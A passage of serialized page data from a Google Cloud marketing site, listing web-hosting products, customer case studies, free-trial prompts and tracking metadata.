ends\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAutomatic scaling\u003c/p\u003e"]]]]]]]],true],{"10000":[[["track-metadata-module","categorization"]],191704]}],[5,[[[null,[null,"Need more guidance? Connect with our sales team or a vetted third-party vendor."]]],[[[null,null,[null,"Talk to a Google Cloud sales representative about your specific storage needs."]],[[null,null,"https://cloud.google.com/contact"],"Contact us",3,{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","conversion"],["track-metadata-module_headline","need more guidance? connect with our sales team or a vetted third-party vendor."],["track-name","contact us"]],192550]}]],[[null,null,[null,"Connect with a third-party vendor for help with implementation, migration, and more."]],[[null,null,"https://cloud.google.com/find-a-partner"],"Find a partner",15,{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/find-a-partner"],["track-metadata-module","conversion"],["track-metadata-module_headline","need more guidance? connect with our sales team or a vetted third-party vendor."],["track-name","find a partner"]]]}]]]],{"10000":[[["track-metadata-module","conversion"]],191696]}],[69,null,null,[[[[null,[null,"Learn from our customers"]],[[null,null,"https://cloud.google.com/customers#/products\u003dCompute"],"See all customers",14,{"10000":[[["track-metadata-eventdetail","cloud.google.com/customers"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","see all customers"]]]}]]],[[[[[null,"Video"],[null,"Twitter created a hybrid-cloud solution that merged separate compute and storage platforms."],[null,"02:01"]],[[null,null,"https://youtu.be/T1zjmNAuMjs"],null,12,{"10000":[[["track-metadata-child_headline","twitter created a hybrid-cloud solution that merged separate compute and storage platforms."],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","youtu.be/t1zjmnaumjs"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-metadata-video-id","t1zjmnaumjs"],["track-name","twitter created a hybrid-cloud solution that merged separate compute and storage platforms."]],192559]}]],[[null,null,"https://lh3.googleusercontent.com/u4IbWaPUxFM7g0bq9z1V_OwYa9A0SQGnwm-yanNtE7MjfpjootHw62oyPLct0-TZxJe3Nd5yvsoJnw"],null,null,true,null,null,null,null,[null,"Twitter logo"]]],[[[[null,"Case study"],[null,"The Home Depot runs more than 600 projects in Google Cloud."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/featured/the-home-depot"],null,14,{"10000":[[["track-metadata-child_headline","the home depot runs more than 600 projects in google cloud."],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/customers/featured/the-home-depot"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","the home depot runs more than 600 projects in google cloud."]]]}]],[[null,null,"https://lh3.googleusercontent.com/x8B55Hd0FSFMwM1fPN6a3y3w1xQrZdy6QdGyhAcmyfS7B95oRNRwm4Pqr9WTagV2n3SnQySxdeU"],null,null,true,null,null,null,null,[null,"The Home Depot logo"]]],[[[[null,"Case study"],[null,"PayPal increased scale and reach to serve 300 million active accounts in 200 markets."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/featured/paypal"],null,14,{"10000":[[["track-metadata-child_headline","paypal increased scale and reach to serve 300 million active accounts in 200 markets."],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/customers/featured/paypal"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","paypal increased scale and reach to serve 300 million active accounts in 200 markets."]]]}]],[[null,null,"https://lh3.googleusercontent.com/3-uspateLHI9x-rDkpw3I0JutlwWPnmDEHLOSsCH4MRtlBpQLf9UGrOeKUl-M5u4WwLXYLVRJ1AW6g"],null,null,true,null,null,null,null,[null,"PayPal logo"]]]]],{"10000":[[["track-metadata-module","customer"]],191759]}],[4,[[[null,[null,"Take the next step"],[null,"Start building on Google Cloud with $300 in free credits and 20+ always free products."]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","get started for free"]],192548]}]],[[[null,[null,"Need help getting started?"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,{"10000":[[["track-metadata-child_headline","need help getting started?"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","contact sales"]],192550]}]],[[null,[null,"Work with a trusted partner"]],[[null,null,"https://cloud.google.com/find-a-partner/"],"Find a partner",15,{"10000":[[["track-metadata-child_headline","work with a trusted partner"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/find-a-partner"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","find a partner"]]]}]],[[null,[null,"Continue browsing"]],[[null,null,"https://cloud.google.com/products/"],"See all products",{"10000":[[["track-metadata-child_headline","continue browsing"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/products"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","see all products"]]]}]]]],{"10000":[[["track-metadata-module","ankle"]],191691]}]],[[null,null,[null,"Catch up on the latest product launches, demos, and trainings from Next '23. \u003ca href\u003d\"https://cloud.withgoogle.com/next/hub\"\u003eLet's go\u003c/a\u003e."]]],{"10000":[null,191556]}]]]]]],["/solutions/web-hosting",[[["fte",[[15,["t4AsqhGSTK0V","en","Web Hosting | Google Cloud | Google Cloud","Web hosting services from Google Cloud. Host everything from blogs to dynamic websites in the cloud with Click to Deploy or customized solutions. ","Tiered Wayfinding Template"],[[1,null,[[[null,[null,"Google Cloud web hosting"],[null,"\u003cp\u003eLaunch and learn preconfigured solutions—developed by Google Cloud experts—to help you build retail websites, dynamic web apps, and other web hosting use cases.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions#section-3"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions#section-3"],["track-metadata-module","hero"],["track-metadata-module_headline","google cloud web hosting"],["track-name","get started for free"]],192548]}]],null,[]],{"10000":[[["track-metadata-module","hero"]],191692]}],[35,null,null,[null,[[[[null,[null,"Deploy a sample website"],[null,"Launch a sample drop-ship retail product website that's publicly accessible and customizable, leveraging Python and Javascript."]],[[null,null,"https://cloud.google.com/solutions/dynamic-website#section-1"],{"10000":[[["track-metadata-child_headline","deploy a sample website"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/solutions/dynamic-website#section-1"],["track-metadata-module","featured ctas"],["track-name","deploy a sample website"]]]}]]],[[[null,[null,"Deploy a dynamic web app with Javascript"],[null,"Launch and run a dynamic web app with this interactive solution that deploys a sample application (Developer Journey App) built with Javascript."]],[[null,null,"https://cloud.google.com/solutions/dynamic-website#section-2"],{"10000":[[["track-metadata-child_headline","deploy a dynamic web app with javascript"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/solutions/dynamic-website#section-2"],["track-metadata-module","featured ctas"],["track-name","deploy a dynamic web app with javascript"]]]}]]],[[[null,[null,"Deploy a dynamic web app with Java"],[null,"Learn how to quickly build, manage, and deploy a sample web app that mimics a real-world point of sale screen for retailers."]],[[null,null,"https://cloud.google.com/solutions/dynamic-website#section-3"],{"10000":[[["track-metadata-child_headline","deploy a dynamic web app with java"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/solutions/dynamic-website#section-3"],["track-metadata-module","featured ctas"],["track-name","deploy a dynamic web app with java"]]]}]]]]],{"10000":[[["track-metadata-module","featured ctas"]],191725]}],[14,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Cloud web hosting services"]]],[[null,[null,"Solution type"]],[null,[null,"Products or services"]],[null,[null,"Use cases"]]],[[[[null,[null,"Preconfigured and Click to Deploy"]]],[[null,[[[null,[null,"WordPress on Compute Engine"],[null,"\u003cp\u003eDeploy Wordpress, a website creation and publishing platform, to Google Cloud with a range of hosting options.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/wordpress\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/wordpress"],null,2,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/marketplace/details/click-to-deploy-images/wordpress"],["track-metadata-module","categorization"],["track-metadata-module_headline","wordpress on compute engine"]],192549]}]],[[null,null,"https://www.gstatic.com/bricks/image/d36a54c9d587cceefc14871289f3a3fca321ec022fe0ced204035002d3398e7f.svg"],null,null,null,null,null,null,null,[null,"Compute Engine icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBlogs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSimple websites\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBest for low to medium traffic\u003c/p\u003e"]],[null,[null,"\u003cp\u003eOpen-source content management system\u003c/p\u003e"]]]]],[null,[[[null,[null,"LAMP stack on Compute Engine"],[null,"\u003cp\u003eDeploy a development stack featuring Apache HTTP Server, MySQL, and PHP on Compute Engine. \u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/lamp\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/marketplace/details/click-to-deploy-images/lamp"],null,2,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/marketplace/details/click-to-deploy-images/lamp"],["track-metadata-module","categorization"],["track-metadata-module_headline","lamp stack on compute engine"]],192549]}]],[[null,null,"https://www.gstatic.com/bricks/image/1ddcbf165c112c650eb8aacc17dbaca31bb3ec84955ca139b42d5557cd337dab.svg"],null,null,null,null,null,null,null,[null,"Compute Engine icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eLinux, Apache HTTP Server, MySQL, and PHP\u003c/p\u003e"]],[null,[null,"\u003cp\u003eHost websites and web applications\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDynamic content\u003c/p\u003e"]]]]],[null,[[[null,[null,"Three tier web application"],[null,"\u003cp\u003eDeploy a sample web app for a rich media, ecommerce, or data-backed website with this pre-built three-tiered architecture solution.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/three-tier-web-app"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/three-tier-web-app"],["track-metadata-module","categorization"],["track-metadata-module_headline","three tier web application"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mXZW85lU61gMX3PZ7jJsKdQrclMen6U_9d9GkDyytUvUlWVsdhNrulR99ybLOk3jm-5TawAjDOLEvw"],null,null,true,null,null,null,null,[null,"three tier web app"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eRich media website\u003c/p\u003e"]],[null,[null,"\u003cp\u003eData-backed website\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEcommerce website\u003c/p\u003e"]]]]],[null,[[[null,[null,"Dynamic website"],[null,"\u003cp\u003eBuild, deploy, and operate a sample dynamic website using responsive web frameworks.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/dynamic-website"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/dynamic-website"],["track-metadata-module","categorization"],["track-metadata-module_headline","dynamic website"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mXZW85lU61gMX3PZ7jJsKdQrclMen6U_9d9GkDyytUvUlWVsdhNrulR99ybLOk3jm-5TawAjDOLEvw"],null,null,true,null,null,null,null,[null,"dynamic"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eDynamic website\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEcommerce website\u003c/p\u003e"]]]]],[null,[[[null,[null,"Ecommerce web app"],[null,"\u003cp\u003eBuild and run a simple ecommerce application for retail organizations.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/ecommerce-web-app"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/ecommerce-web-app"],["track-metadata-module","categorization"],["track-metadata-module_headline","ecommerce web app"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mXZW85lU61gMX3PZ7jJsKdQrclMen6U_9d9GkDyytUvUlWVsdhNrulR99ybLOk3jm-5TawAjDOLEvw"],null,null,true,null,null,null,null,[null,"ecommerce web app"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eEcommerce web application \u003c/p\u003e"]],[null,[null,"\u003cp\u003eMicroservice-based ecommerce\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAPI-based, dynamic web application\u003c/p\u003e"]]]]]]],[[[null,[null,"Static websites"]]],[[null,[[[null,[null,"Firebase Hosting"],[null,"\u003cp\u003eDeploy static content to a global CDN with a single command. Get started with the\u003ca href\u003d\"https://firebase.google.com/docs/hosting\"\u003e Firebase Hosting guide\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://firebase.google.com/pricing\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://firebase.google.com/products/hosting"],{"10000":[[["track-metadata-eventdetail","firebase.google.com/products/hosting"],["track-metadata-module","categorization"],["track-metadata-module_headline","firebase hosting"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/2c60272ef45a0f05c7c9425b503f74792ce7c0be83bc8c6338b6211ca051c5f6.svg"],null,null,null,null,null,null,null,[null,"Firebase icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eEnd-to-end HTTPS serving for custom domains\u003c/p\u003e"]],[null,[null,"\u003cp\u003eWeb apps and static content\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGlobal CDN\u003c/p\u003e"]]]]]]],[[[null,[null,"Dynamic websites"]]],[[null,[[[null,[null,"Cloud Run"],[null,"\u003cp\u003eDevelop and \u003ca href\u003d\"https://codelabs.developers.google.com/codelabs/cloud-run-deploy/index.html?index\u003d..%2F..index#0\"\u003edeploy\u003c/a\u003e your favorite language and framework on a fully managed serverless platform that scales automatically.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/run#section-13\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/run"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/run"],["track-metadata-module","categorization"],["track-metadata-module_headline","cloud run"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/90b3dc820c1eefbb54ebe9d99d8bec78ba0db304eb68b6c3599e3452a45b2896.svg"],null,null,null,null,null,null,null,[null,"Cloud Run icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eGo, Python, Java, Ruby, Node.js, and more\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAccess SQL database on Cloud SQL\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAutoscaled HTTPS endpoint\u003c/p\u003e"]],[null,[null,"\u003cp\u003eFully managed infrastructure\u003c/p\u003e"]]]]],[null,[[[null,[null,"Compute Engine"],[null,"\u003cp\u003eDeploy a complete web-serving stack from\u003ca href\u003d\"https://cloud.google.com/marketplace\"\u003e Google Cloud Marketplace\u003c/a\u003e or\u003ca href\u003d\"https://cloud.google.com/solutions/web-serving-overview#setting_up_manually\"\u003e create your own infrastructure\u003c/a\u003e manually.\u003c/p\u003e\n\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/compute/all-pricing\"\u003eView pricing\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/compute"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/compute"],["track-metadata-module","categorization"],["track-metadata-module_headline","compute engine"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/41b5f77ad52c47425814ac1a4ba2bf9159d38a91c0d2c02004aa1c5e887953c4.svg"],null,null,null,null,null,null,null,[null,"Compute Engine icon"]]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eComplete control and unlimited flexibility\u003c/p\u003e"]],[null,[null,"\u003cp\u003eConfigure servers and virtual machines\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSpecific memory, SSD, and GPU needs\u003c/p\u003e"]]]]]]]],true],{"10000":[[["track-metadata-module","categorization"]],191704]}],[5,[[[null,[null,"Ready to host your website in the cloud? Get started with $300 in free credits."],null,null,[null,"\u003cp\u003eLearn how to \u003ca href\u003d\"https://cloud.google.com/solutions/web-serving-overview\"\u003eserve or migrate\u003c/a\u003e a website or \u003ca href\u003d\"https://cloud.google.com/solutions/web-serving-overview#choosing_an_option\"\u003echoose an option\u003c/a\u003e in our technical article.\u003c/p\u003e"]]],[[[null,null,[null,"Use our free trial to start hosting your website or web app with any Google Cloud product."]],[[null,null,"https://cloud.google.com/free"],"Get started for free",{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/free"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to host your website in the cloud? get started with $300 in free credits."],["track-name","get started for free"]]]}]],[[null,null,[null,"Watch an overview on how to build and host a website on Google Cloud."]],[[null,null,"https://www.youtube.com/watch?v\u003dpxp7uYUjH_M\u0026list\u003dPLIivdWyY5sqIOyeovvRapCjXCZykZMLAe\u0026index\u003d1"],"Watch the webinar",12,{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to host your website in the cloud? get started with $300 in free credits."],["track-metadata-video-id","pxp7uyujh m"],["track-name","watch the webinar"]],192559]}]]]],{"10000":[[["track-metadata-module","conversion"]],191696]}],[69,null,null,[[[[null,[null,"Customers using our cloud hosting services"]],[[null,null,"https://cloud.google.com/customers"],"See all customers",14,{"10000":[[["track-metadata-eventdetail","cloud.google.com/customers"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","see all customers"]]]}]]],[[[[[null,"Case study"],[null,"Whisper reduced cloud hosting costs by more than 50%."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/whisper"],null,14,{"10000":[[["track-metadata-child_headline","whisper reduced cloud hosting costs by more than 50%."],["track-metadata-child_index","1"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/whisper"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","whisper reduced cloud hosting costs by more than 50%."]]]}]],[[null,null,"https://lh3.googleusercontent.com/oaH1y5bKHPsg7LLCtUihrZxUoTqCINnBYxA9B-JOnG5pcrfMfVorVja4aZfi6RMS9cDvoCsSaCMo"],null,null,true,null,null,null,null,[null,"Whisper logo"]]],[[[[null,"Case study"],[null,"Cloudways uses Compute Engine to power their web hosting platform."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/cloudways"],null,14,{"10000":[[["track-metadata-child_headline","cloudways uses compute engine to power their web hosting platform."],["track-metadata-child_index","2"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/cloudways"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","cloudways uses compute engine to power their web hosting platform."]]]}]],[[null,null,"https://lh3.googleusercontent.com/nMFDh2RImXj-ZDaJ-oZ3HwqXRmVEkAm_ivaf6fzt_icoUCYNiQrgifpDsIjYOMMmDmF28CNp9iaP"],null,null,true,null,null,null,null,[null,"Cloudways logo"]]],[[[[null,"Case study"],[null,"Esdemarca experienced 100% platform availability during peak web traffic."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/esdemarca"],null,14,{"10000":[[["track-metadata-child_headline","esdemarca experienced 100% platform availability during peak web traffic."],["track-metadata-child_index","3"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/esdemarca"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","esdemarca experienced 100% platform availability during peak web traffic."]]]}]],[[null,null,"https://lh3.googleusercontent.com/644HaeykNIBgyX2IH_er6t2ao2Uh8IfV0AaRZY8jw8n00uGJmQsaSBP6C3yZauFDAU3twZkYhx8"],null,null,true,null,null,null,null,[null,"Esdemarca logo"]]],[[[[null,"Case study"],[null,"Kinsta provides a better blog hosting service with Google Cloud."],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/kinsta"],null,14,{"10000":[[["track-metadata-child_headline","kinsta provides a better blog hosting service with google cloud."],["track-metadata-child_index","4"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/kinsta"],["track-metadata-module","customer"],["track-metadata-module_headline","customers using our cloud hosting services"],["track-name","kinsta provides a better blog hosting service with google cloud."]]]}]],[[null,null,"https://lh3.googleusercontent.com/sn63dd0wveXjIyfOos04Ui80yUxFT7zsVcCx4V6LgjYSGTEayTa7TVwfeg7Ioqyj59QrygSY954c"],null,null,true,null,null,null,null,[null,"Kinsta logo"]]]]],{"10000":[[["track-metadata-module","customer"]],191759]}],[4,[[[null,[null,"Take the next step"],[null,"Start building on Google Cloud with $300 in free credits and 20+ always free products."]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","get started for free"]],192548]}]],[[[null,[null,"Need help getting started?"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,{"10000":[[["track-metadata-child_headline","need help getting started?"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","contact sales"]],192550]}]],[[null,[null,"Work with a trusted partner"]],[[null,null,"https://cloud.withgoogle.com/partners/"],"Find a partner",{"10000":[[["track-metadata-child_headline","work with a trusted partner"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.withgoogle.com/partners"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","find a partner"]]]}]],[[null,[null,"Continue browsing"]],[[null,null,"https://cloud.google.com/products/"],"See all products",{"10000":[[["track-metadata-child_headline","continue browsing"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/products"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","see all products"]]]}]]]],{"10000":[[["track-metadata-module","ankle"]],191691]}]],{"10000":[null,191556]}]]]]]]]]]]]],["visual_interest",["visual_interest",[["animatedVariant",["animatedVariant",[97933472,97933473],["/free"],null,[["/free",[[["fte",[null,[null,null,null,[["7i85s9jfls06g",null,[1,null,[[[null,[null,"Go from prompt to production with Gemini Code Assist"],null,null,null,null,null,[null,[null,"Go from prompt to production with Gemini Code Assist"]]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,[null,[null,null,"https://console.cloud.google.com/freetrial"]],[null,"Get started for free"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,[null,[null,null,"https://cloud.google.com/contact/"]],[null,"Contact sales"]]],null,null,null,null,null,null,null,null,null,null,null,[[null,[[null,null,"https://static.corp.google.com/bricks/qa1/image/b302530f-8071-4cb1-9513-68204e038311.png"],"Gemini Code Assist",null,true,null,null,null,[null,[null,null,"https://static.corp.google.com/bricks/qa1/image/b302530f-8071-4cb1-9513-68204e038311.png"]],[null,"Gemini Code Assist"]]]]]]]]]]]]]]]]],["control",["control",[97933470,97933471],["/free"]]],["updatedCopyVariant",["updatedCopyVariant",[97940381,97940382],["/free"],null,[["/free",[[["fte",[null,[null,null,null,[["7i85s9jfls06g",null,[1,null,[[[null,[null,"Go from prompt to production with Gemini Code Assist"],null,null,null,null,null,[null,[null,"Go from prompt to production with Gemini Code Assist"]]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,[null,[null,null,"https://console.cloud.google.com/freetrial"]],[null,"Get started for free"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,[null,[null,null,"https://cloud.google.com/contact/"]],[null,"Contact sales"]]]]]]]]]]]]]]]],["videoVariant",["videoVariant",[97933474,97933475],["/free"],null,[["/free",[[["fte",[null,[null,null,null,[["7i85s9jfls06g",null,[1,null,[[[null,[null,"Go from prompt to production with Gemini Code Assist"],null,null,null,null,null,[null,[null,"Go from prompt to production with Gemini Code Assist"]]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,[null,[null,null,"https://console.cloud.google.com/freetrial"]],[null,"Get started for free"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,[null,[null,null,"https://cloud.google.com/contact/"]],[null,"Contact sales"]]],null,null,null,null,null,null,null,null,null,null,null,[[[null,[[null,null,"https://www.youtube.com/watch?v\u003dHsGZBt0ZQbI"],null,12,[null,[null,null,"https://www.youtube.com/watch?v\u003dHsGZBt0ZQbI"]]]],null,[[[null,null,"https://static.corp.google.com/bricks/qa1/image/deaa1584-f496-4a84-9727-4783309d0900.png"],"See how it works",null,true,null,null,null,[null,[null,null,"https://static.corp.google.com/bricks/qa1/image/deaa1584-f496-4a84-9727-4783309d0900.png"]],[null,"See how it works"]],[null,null,"https://www.youtube.com/watch?v\u003dAPH41U55hos"],null,null,[[null,null,null,null,null,null,null,[null,[null,"Get $300 in free credit to try Gemini Code Assist and 150+ Google Cloud products."]]],[null,null,null,["page_module_type_visual_interest_hero#right_rail#select_option#2",[null,null,"https://console.cloud.google.com/freetrial"]],["page_module_type_visual_interest_hero#right_rail#select_option#2","Get started for free"]]],["page_module_type_visual_interest_hero#right_rail#select_option#2",[null,null,"https://www.youtube.com/watch?v\u003dAPH41U55hos"]]]]]]]]]]]]]]]]]]]]]]], 0.0 ,["GTM-5CVQBG",[["en","\u202aEnglish\u202c",true,"en"],["de","\u202aDeutsch\u202c",true,"de"],["es","\u202aEspañol\u202c",true,"es"],["es-419","\u202aEspañol (Latinoamérica)\u202c",true,"es-419"],["fr","\u202aFrançais\u202c",true,"fr"],["id","\u202aIndonesia\u202c",true,"id"],["it","\u202aItaliano\u202c",true,"it"],["pt-BR","\u202aPortuguês (Brasil)\u202c",true,"pt-BR"],["zh-CN","\u202a简体中文\u202c",true,"zh-Hans"],["zh-TW","\u202a繁體中文\u202c",true,"zh-Hant"],["ja","\u202a日本語\u202c",true,"ja"],["ko","\u202a한국어\u202c",true,"ko"]],["83405","AIzaSyD3LJeW4Q6gtdgJlyeFZUp-GhpIoc6EUeg"],"en",null,null,[],[["https://cloud.google.com/innovators","https://cloud.google.com/innovators/plus/activate","https://cloud.google.com/innovators/innovatorsplus"],["https://workspace.google.com/pricing","https://www.x.com/googleworkspace","https://www.facebook.com/googleworkspace","https://www.youtube.com/channel/UCBmwzQnSoj9b6HzNmFrg_yw","https://www.instagram.com/googleworkspace","https://www.linkedin.com/showcase/googleworkspace","https://about.google/?utm_source\u003dworkspace.google.com\u0026utm_medium\u003dreferral\u0026utm_campaign\u003dgsuite-footer-en","https://about.google/products/?tip\u003dexplore","https://workspace.google.com","https://workspace.google.com/contact/?source\u003dgafb-form-globalnav-en","https://workspace.google.com/business/signup/welcome?hl\u003den\u0026source\u003dgafb-form-globalnav-en","https://workspace.google.com/blog"],["https://www.cloudskillsboost.google","https://www.cloudskillsboost.google?utm_source\u003dcgc\u0026utm_medium\u003dwebsite\u0026utm_campaign\u003devergreen","https://www.cloudskillsboost.google/subscriptions?utm_source\u003dcgc\u0026utm_medium\u003dwebsite\u0026utm_campaign\u003devergreenlaunchpromo","https://www.cloudskillsboost.google/subscriptions?utm_source\u003dcgc\u0026utm_medium\u003dwebsite\u0026utm_campaign\u003devergreen","https://www.cloudskillsboost.google/catalog?utm_source\u003dcgc\u0026utm_medium\u003dwebsite\u0026utm_campaign\u003devergreen","https://www.cloudskillsboost.google/paths?utm_source\u003dcgc\u0026utm_medium\u003dwebsite\u0026utm_campaign\u003devergreen"],["https://mapsplatform.google.com"],["https://cloud.google.com/developers","https://cloud.google.com/developers/settings?utm_source\u003dinnovators"],["https://console.cloud.google.com/freetrial","https://console.cloud.google.com/","https://console.cloud.google.com/freetrial?redirectPath\u003dhttps://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation/"],["https://aitestkitchen.withgoogle.com/signup","https://blog.google/technology/ai/join-us-in-the-ai-test-kitchen/","https://cloud.google.com/ai"],["https://googlecloudplatform.blogspot.com/","https://github.com/GoogleCloudPlatform","https://www.linkedin.com/company/google-cloud","https://twitter.com/GoogleCloud_sg","https://www.facebook.com/googlecloud","https://www.youtube.com/GoogleCloudAPAC"]],[2024,12,12],[["en","x-default"],"x-default"],[null,true],null,"/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation/?hl\u003den",["6LcsrxUqAAAAAFhpR1lXsPN2j2nsTwy6JTbRKzJr"]],[],'','Lh9XRrNZbyI2TSQR0nTTVQ','8BwsqpOd3fXBjO9W2ttHkQ','DEFAULT','\/blog', 2024.0 ,'https:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/investigating-ivanti-zero-day-exploitation\/', null ,'ltr', false 